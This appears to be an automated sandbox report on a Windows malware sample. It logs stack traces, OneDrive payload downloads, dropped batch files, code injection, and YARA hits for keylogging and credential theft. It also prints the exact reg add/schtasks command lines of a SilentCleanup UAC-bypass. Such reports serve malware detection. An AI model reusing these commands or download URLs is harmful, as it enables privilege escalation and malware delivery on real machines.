__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008264192	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008160768	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008264192	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008160768	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008264192	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008160768	1

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

Performs some HTTP requests (3 events)

request	GET https://onedrive.live.com/download?cid=D6676A9A61E841F3&resid=D6676A9A61E841F3%21155&authkey=AG_5U-eWJ37gdC4
request	GET https://qcisaa.sn.files.1drv.com/y4mWXp5EDLYFsO4Mv8COFN17VmF4wZZ1B0CoFFnmi_kUIzVtGO4mRYUnRBucqR44BejXsCF9tzyBMFT9qOHxyJaXXDbLrl5S7AOSnCEWxMExlHpT6MVE13IZ5LmwvLRnu4TOCWoZs1q0qmpeeFZsOvDvonMYC6gqigoJAycYxp5hSpFM7PNcxtQ_q-jkTPKQ-JiNUk5KKxhdzVWSI6C0qoWtw/Srakjlekngtcyxfikcsesbckosunxns?download&psid=1
request	GET https://qcisaa.sn.files.1drv.com/y4m-c7lQsmglgLpCHVpyfHTv-fo-qQNLzYLhCukCDgEj40L4ouHdE35JcJxP4Ijfjql4AbIkPWnLWZKjaVDd9hzCYT37w7wSTsfuyOqIenEATN10Im-4iQu1BYZ4WA_S_crLSZsoh1f840zSiSvh1atDp1KfoUWub8IBmwBV-Kt8ZMBaS5roYSWAyLyFRCKd15XQR--Mqemnisegp5h6Yx7wQ/Srakjlekngtcyxfikcsesbckosunxns?download&psid=1

Allocates read-write-execute memory (usually to unpack itself) (4 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Sept. 22, 2021, 9:50 a.m.	process_identifier: 1548 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f62000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 22, 2021, 9:50 a.m.	process_identifier: 1548 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x008d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 22, 2021, 9:50 a.m.	process_identifier: 1548 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x048c0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 22, 2021, 9:50 a.m.	process_identifier: 1548 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x10590000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1

Creates executable files on the filesystem (5 events)

file	C:\Users\Public\KDECO.bat
file	C:\Users\Public\UKO.bat
file	C:\Users\Public\Libraries\Srakjle\Srakjle.exe
file	C:\Users\Public\Trast.bat
file	C:\Users\Public\nest.bat

Creates a suspicious process (2 events)

cmdline	C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
cmdline	schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Sept. 22, 2021, 9:50 a.m.	process_identifier: 1548 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 196608 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x02381000 process_handle: 0xffffffff	1	0	0

Yara rule detected in process memory (50 out of 60 events)

description	Communication using DGA	rule	Network_DGA
description	Communications use DNS	rule	Network_DNS
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Create a windows service	rule	Create_Service
description	Record Audio	rule	Sniff_Audio
description	Escalate priviledges	rule	Escalate_priviledges
description	Run a KeyLogger	rule	KeyLogger
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Communications over HTTP	rule	Network_HTTP
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Communications over FTP	rule	Network_FTP
description	Take ScreenShot	rule	ScreenShot
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Steal credential	rule	local_credential_Steal
description	File Downloader	rule	Network_Downloader
description	Communications over P2P network	rule	Network_P2P_Win
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	Communication using DGA	rule	Network_DGA
description	Communications use DNS	rule	Network_DNS
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Create a windows service	rule	Create_Service
description	Record Audio	rule	Sniff_Audio
description	Escalate priviledges	rule	Escalate_priviledges
description	Run a KeyLogger	rule	KeyLogger
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Communications over HTTP	rule	Network_HTTP
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Communications over FTP	rule	Network_FTP
description	Take ScreenShot	rule	ScreenShot
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Steal credential	rule	local_credential_Steal
description	File Downloader	rule	Network_Downloader
description	Communications over P2P network	rule	Network_P2P_Win
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread

Uses Windows utilities for basic Windows functionality (3 events)

cmdline	reg delete hkcu\Environment /v windir /f
cmdline	schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
cmdline	reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "

One or more of the buffers contains an embedded PE file (1 event)

buffer

Buffer with sha1: b7916055ef89510d3cea658f740a792aa78461a8

Allocates execute permission to another process indicative of possible code injection (12 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Sept. 22, 2021, 9:50 a.m.	process_identifier: 1988 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x10590000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1
NtAllocateVirtualMemory Sept. 22, 2021, 9:50 a.m.	process_identifier: 1988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0x00000184	1
